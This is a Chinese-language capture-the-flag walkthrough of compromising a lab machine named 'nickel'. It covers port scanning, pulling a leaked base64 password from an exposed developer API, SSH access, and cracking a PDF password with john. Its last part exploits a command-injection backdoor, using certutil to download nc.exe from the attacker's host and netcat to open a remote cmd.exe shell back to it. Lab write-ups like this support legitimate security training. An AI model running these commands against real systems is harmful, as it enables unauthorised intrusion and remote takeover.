來看看靶機上有甚麼唷!
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.151.99 -type recon;
在 port 8089 上發現一個看起來給開發者使用的 dashboard. 試了一下上面的按鍵,發現導轉到 port 33333上面,Burp 上面的結果看起來也是這樣
查看 source code , 發現他的 IP 都蠻奇怪的
Google 說它叫做 APIPA,IP分配並非從 DHCP server 來,而且這樣的 IP 配置較常使用在一些 p2p的溝通
我們來戳戳看這個服務 看看有甚麼好了
首先 我們發現了用 GET不行
那可以用 POST嗎? 由response 看來 還需要加上 content-length
Content-Length 就隨便給吧 由回應看起來是有點意思
他吐了一個 username 跟他的 password
curl -X POST -i http://$tIP:33333/list-running-procs? -H "Content-Type: application/json" -H "Content-Length:100"
這 password 看起來很像 base64 encode 後的結果 先 decode 看看
然後我們就拿到了 ariah 的 password 了!
echo "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" | base64 -d
用 ariah 與 他的 password 去登入系統 拿到 flag!
ssh ariah@$tIP
當我們在挖掘這台主機的時候 發現了 FTP的服務
其實當初在掃 port 的時候 我們也有看到 但因為無法登入 所以只能先留在那
現在看起來 它裡面確實放有一些有用的資料
我們嘗試打開這個 PDF檔案 結果發現它要密碼
open infrastructure.pdf
但是我們有 john 可以幫我們解開密碼
pdf2john infrastructure.pdf > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
打開文件以後 我們發現這位 ariah4168 竟然留了一個後門可以做 command injection !
但我們需要先去 /etc/hosts 更新一下我們的 host IP
然後就可以正常使用這網站了
利用它下載 NC.exe
http://nickel/?certutil -urlcache -f http://192.168.45.231:8000/nc.exe c:/windows/temp/nc.exe
讓他來bind kali 的 shell
http://nickel/?C:\Windows\Temp\nc.exe%20-nv%20192.168.45.231%20443%20-e%20cmd.exe
Flag Get!